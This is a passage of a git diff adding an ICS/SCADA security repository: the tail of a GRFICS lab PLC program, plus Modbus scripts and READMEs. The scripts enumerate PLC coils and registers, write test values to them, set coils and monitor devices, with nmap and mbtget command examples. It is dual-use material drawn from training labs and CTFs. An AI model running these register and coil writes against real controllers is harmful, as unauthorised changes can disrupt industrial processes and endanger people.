UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file 